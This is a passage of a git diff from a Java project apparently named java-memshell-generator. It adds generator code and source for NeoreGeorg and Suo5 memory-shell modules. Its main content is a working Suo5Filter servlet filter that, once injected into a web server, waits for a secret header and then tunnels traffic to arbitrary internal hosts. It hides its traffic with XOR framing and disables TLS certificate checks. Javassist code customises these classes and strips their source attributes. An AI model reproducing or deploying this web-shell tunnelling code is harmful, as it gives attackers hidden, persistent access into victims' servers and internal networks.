CtClass ctClass = pool.getCtClass(className);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,42 @@
|
|||||||
|
package jmg.neoregeorg.util;
|
||||||
|
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.neoregeorg.memshell.NeoreGeorgFilter;
|
||||||
|
import jmg.neoregeorg.memshell.NeoreGeorgInterceptor;
|
||||||
|
import jmg.neoregeorg.memshell.NeoreGeorgListener;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class ShellUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||||
|
|
||||||
|
public ShellUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellName(String toolType, String shellType) {
|
||||||
|
Map<String, String> shellMap = toolMap.get(toolType);
|
||||||
|
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellClassName(String shellName) throws Exception {
|
||||||
|
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||||
|
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||||
|
} else {
|
||||||
|
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
|
||||||
|
Map<String, String> regeorgMap = new HashMap();
|
||||||
|
regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
|
||||||
|
regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
|
||||||
|
regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
|
||||||
|
toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-suo5</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package jmg.suo5.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.suo5.util.ShellUtil;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
import jmg.core.util.ResponseUtil;
|
||||||
|
import me.gv7.woodpecker.tools.common.FileUtil;
|
||||||
|
|
||||||
|
public class Suo5Generator implements IShellGenerator {
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||||
|
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||||
|
byte[] bytes = modifyShell(shellClassName, config);
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
byte[] bytes = new byte[0];
|
||||||
|
try {
|
||||||
|
pool.insertClassPath(new ClassClassPath(Suo5Generator.class));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||||
|
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,553 @@
|
|||||||
|
package jmg.suo5.memshell;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.security.cert.CertificateException;
|
||||||
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Suo5Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager {
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public static HashMap addrs = collectAddr();
|
||||||
|
public static HashMap ctx = new HashMap();
|
||||||
|
|
||||||
|
InputStream gInStream;
|
||||||
|
OutputStream gOutStream;
|
||||||
|
|
||||||
|
public Suo5Filter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5Filter(InputStream in, OutputStream out) {
|
||||||
|
this.gInStream = in;
|
||||||
|
this.gOutStream = out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException {
|
||||||
|
|
||||||
|
try {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) sReq;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) sResp;
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String contentType = request.getHeader("Content-Type");
|
||||||
|
if (contentType == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (contentType.equals("application/plain")) {
|
||||||
|
tryFullDuplex(request, response);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentType.equals("application/octet-stream")) {
|
||||||
|
processDataBio(request, response);
|
||||||
|
} else {
|
||||||
|
processDataUnary(request, response);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
// System.out.printf("process data error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
chain.doFilter(sReq, sResp);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
chain.doFilter(sReq, sResp);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||||
|
int bufferOffset = 0;
|
||||||
|
while (bufferOffset < b.length) {
|
||||||
|
int readLength = b.length - bufferOffset;
|
||||||
|
int readResult = is.read(b, bufferOffset, readLength);
|
||||||
|
if (readResult == -1) break;
|
||||||
|
bufferOffset += readResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||||
|
InputStream in = request.getInputStream();
|
||||||
|
byte[] data = new byte[32];
|
||||||
|
readFull(in, data);
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
out.write(data);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private HashMap newCreate(byte s) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x04});
|
||||||
|
m.put("s", new byte[]{s});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newData(byte[] data) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x01});
|
||||||
|
m.put("dt", data);
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newDel() {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x02});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newStatus(byte b) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("s", new byte[]{b});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] u32toBytes(int i) {
|
||||||
|
byte[] result = new byte[4];
|
||||||
|
result[0] = (byte) (i >> 24);
|
||||||
|
result[1] = (byte) (i >> 16);
|
||||||
|
result[2] = (byte) (i >> 8);
|
||||||
|
result[3] = (byte) (i /*>> 0*/);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int bytesToU32(byte[] bytes) {
|
||||||
|
return ((bytes[0] & 0xFF) << 24) |
|
||||||
|
((bytes[1] & 0xFF) << 16) |
|
||||||
|
((bytes[2] & 0xFF) << 8) |
|
||||||
|
((bytes[3] & 0xFF) << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void put(String k, Object v) {
|
||||||
|
ctx.put(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object get(String k) {
|
||||||
|
return ctx.get(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object remove(String k) {
|
||||||
|
return ctx.remove(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
|
int newLength = to - from;
|
||||||
|
if (newLength < 0) {
|
||||||
|
throw new IllegalArgumentException(from + " > " + to);
|
||||||
|
}
|
||||||
|
byte[] copy = new byte[newLength];
|
||||||
|
int copyLength = Math.min(original.length - from, newLength);
|
||||||
|
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||||
|
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||||
|
for (int i = 0; i < copyLength; i++) {
|
||||||
|
copy[i] = original[from + i];
|
||||||
|
}
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] marshal(HashMap m) throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
Object[] keys = m.keySet().toArray();
|
||||||
|
for (int i = 0; i < keys.length; i++) {
|
||||||
|
String key = (String) keys[i];
|
||||||
|
byte[] value = (byte[]) m.get(key);
|
||||||
|
buf.write((byte) key.length());
|
||||||
|
buf.write(key.getBytes());
|
||||||
|
buf.write(u32toBytes(value.length));
|
||||||
|
buf.write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = buf.toByteArray();
|
||||||
|
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||||
|
dbuf.putInt(data.length);
|
||||||
|
// xor key
|
||||||
|
byte key = data[data.length / 2];
|
||||||
|
dbuf.put(key);
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
data[i] = (byte) (data[i] ^ key);
|
||||||
|
}
|
||||||
|
dbuf.put(data);
|
||||||
|
return dbuf.array();
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap unmarshal(InputStream in) throws Exception {
|
||||||
|
byte[] header = new byte[4 + 1]; // size and datatype
|
||||||
|
readFull(in, header);
|
||||||
|
// read full
|
||||||
|
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||||
|
int len = bb.getInt();
|
||||||
|
int x = bb.get();
|
||||||
|
if (len > 1024 * 1024 * 32) {
|
||||||
|
throw new IOException("invalid len");
|
||||||
|
}
|
||||||
|
byte[] bs = new byte[len];
|
||||||
|
readFull(in, bs);
|
||||||
|
for (int i = 0; i < bs.length; i++) {
|
||||||
|
bs[i] = (byte) (bs[i] ^ x);
|
||||||
|
}
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
byte[] buf;
|
||||||
|
for (int i = 0; i < bs.length - 1; ) {
|
||||||
|
short kLen = bs[i];
|
||||||
|
i += 1;
|
||||||
|
if (i + kLen >= bs.length) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
if (kLen < 0) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + kLen);
|
||||||
|
String key = new String(buf);
|
||||||
|
i += kLen;
|
||||||
|
|
||||||
|
if (i + 4 >= bs.length) {
|
||||||
|
throw new Exception("value len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + 4);
|
||||||
|
int vLen = bytesToU32(buf);
|
||||||
|
i += 4;
|
||||||
|
if (vLen < 0) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + vLen > bs.length) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||||
|
i += vLen;
|
||||||
|
|
||||||
|
m.put(key, value);
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||||
|
final InputStream reqInputStream = request.getInputStream();
|
||||||
|
HashMap dataMap = unmarshal(reqInputStream);
|
||||||
|
|
||||||
|
byte[] action = (byte[]) dataMap.get("ac");
|
||||||
|
if (action.length != 1 || action[0] != 0x00) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
final OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
|
||||||
|
// 0x00 create socket
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
Socket sc;
|
||||||
|
try {
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
} catch (Exception e) {
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
|
||||||
|
final OutputStream scOutStream = sc.getOutputStream();
|
||||||
|
final InputStream scInStream = sc.getInputStream();
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
try {
|
||||||
|
Suo5Filter p = new Suo5Filter(scInStream, respOutStream);
|
||||||
|
t = new Thread(p);
|
||||||
|
t.start();
|
||||||
|
readReq(reqInputStream, scOutStream);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("pipe error, %s\n", e);
|
||||||
|
} finally {
|
||||||
|
sc.close();
|
||||||
|
respOutStream.close();
|
||||||
|
if (t != null) {
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||||
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
|
while (true) {
|
||||||
|
int n = inputStream.read(readBuf);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||||
|
if (needMarshal) {
|
||||||
|
dataTmp = marshal(newData(dataTmp));
|
||||||
|
}
|
||||||
|
outputStream.write(dataTmp);
|
||||||
|
outputStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||||
|
while (true) {
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(bufInputStream);
|
||||||
|
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
byte action = actions[0];
|
||||||
|
if (action == 0x02) {
|
||||||
|
socketOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
socketOutStream.write(data);
|
||||||
|
socketOutStream.flush();
|
||||||
|
}
|
||||||
|
} else if (action == 0x03) {
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||||
|
Exception {
|
||||||
|
InputStream is = request.getInputStream();
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(is);
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(reader);
|
||||||
|
|
||||||
|
|
||||||
|
String clientId = new String((byte[]) dataMap.get("id"));
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ActionCreate byte = 0x00
|
||||||
|
ActionData byte = 0x01
|
||||||
|
ActionDelete byte = 0x02
|
||||||
|
ActionHeartbeat byte = 0x03
|
||||||
|
*/
|
||||||
|
byte action = actions[0];
|
||||||
|
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||||
|
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||||
|
String redirectUrl = "";
|
||||||
|
if (needRedirect) {
|
||||||
|
dataMap.remove("r");
|
||||||
|
redirectUrl = new String(redirectData);
|
||||||
|
needRedirect = !isLocalAddr(redirectUrl);
|
||||||
|
}
|
||||||
|
// load balance, send request with data to request url
|
||||||
|
// action 0x00 need to pipe, see below
|
||||||
|
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||||
|
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
conn.disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
if (action == 0x02) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) return;
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
scOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) {
|
||||||
|
respOutStream.write(marshal(newDel()));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
scOutStream.write(data);
|
||||||
|
scOutStream.flush();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action != 0x00) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 0x00 create new tunnel
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
InputStream readFrom;
|
||||||
|
Socket sc = null;
|
||||||
|
HttpURLConnection conn = null;
|
||||||
|
|
||||||
|
if (needRedirect) {
|
||||||
|
// pipe redirect stream and current response body
|
||||||
|
conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
readFrom = conn.getInputStream();
|
||||||
|
} else {
|
||||||
|
// pipe socket stream and current response body
|
||||||
|
try {
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
readFrom = sc.getInputStream();
|
||||||
|
this.put(clientId, sc.getOutputStream());
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("connect error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
this.remove(clientId);
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
readSocket(readFrom, respOutStream, !needRedirect);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.println("socket error " + e.toString());
|
||||||
|
// e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (sc != null) {
|
||||||
|
sc.close();
|
||||||
|
}
|
||||||
|
if (conn != null) {
|
||||||
|
conn.disconnect();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
this.remove(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
readSocket(gInStream, gOutStream, true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static HashMap collectAddr() {
|
||||||
|
HashMap addrs = new HashMap();
|
||||||
|
try {
|
||||||
|
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||||
|
while (nifs.hasMoreElements()) {
|
||||||
|
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||||
|
Enumeration addresses = nif.getInetAddresses();
|
||||||
|
while (addresses.hasMoreElements()) {
|
||||||
|
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||||
|
String s = addr.getHostAddress();
|
||||||
|
if (s != null) {
|
||||||
|
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||||
|
int ifaceIndex = s.indexOf('%');
|
||||||
|
if (ifaceIndex != -1) {
|
||||||
|
s = s.substring(0, ifaceIndex);
|
||||||
|
}
|
||||||
|
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
return addrs;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isLocalAddr(String url) throws Exception {
|
||||||
|
String ip = (new URL(url)).getHost();
|
||||||
|
return addrs.containsKey(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||||
|
String method = request.getMethod();
|
||||||
|
URL u = new URL(rUrl);
|
||||||
|
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||||
|
conn.setRequestMethod(method);
|
||||||
|
try {
|
||||||
|
// conn.setConnectTimeout(3000);
|
||||||
|
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||||
|
// conn.setReadTimeout(0);
|
||||||
|
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// java1.4
|
||||||
|
}
|
||||||
|
conn.setDoOutput(true);
|
||||||
|
conn.setDoInput(true);
|
||||||
|
|
||||||
|
// ignore ssl verify
|
||||||
|
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||||
|
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||||
|
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||||
|
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||||
|
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||||
|
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||||
|
}
|
||||||
|
|
||||||
|
Enumeration headers = request.getHeaderNames();
|
||||||
|
while (headers.hasMoreElements()) {
|
||||||
|
String k = (String) headers.nextElement();
|
||||||
|
conn.setRequestProperty(k, request.getHeader(k));
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream rout = conn.getOutputStream();
|
||||||
|
rout.write(marshal(dataMap));
|
||||||
|
rout.flush();
|
||||||
|
rout.close();
|
||||||
|
conn.getResponseCode();
|
||||||
|
return conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,538 @@
|
|||||||
|
package jmg.suo5.memshell;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.security.cert.CertificateException;
|
||||||
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Suo5Interceptor implements AsyncHandlerInterceptor,Runnable, HostnameVerifier, X509TrustManager {
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
public static HashMap addrs = collectAddr();
|
||||||
|
public static HashMap ctx = new HashMap();
|
||||||
|
|
||||||
|
InputStream gInStream;
|
||||||
|
OutputStream gOutStream;
|
||||||
|
|
||||||
|
|
||||||
|
public Suo5Interceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5Interceptor(InputStream in, OutputStream out) {
|
||||||
|
this.gInStream = in;
|
||||||
|
this.gOutStream = out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
try {
|
||||||
|
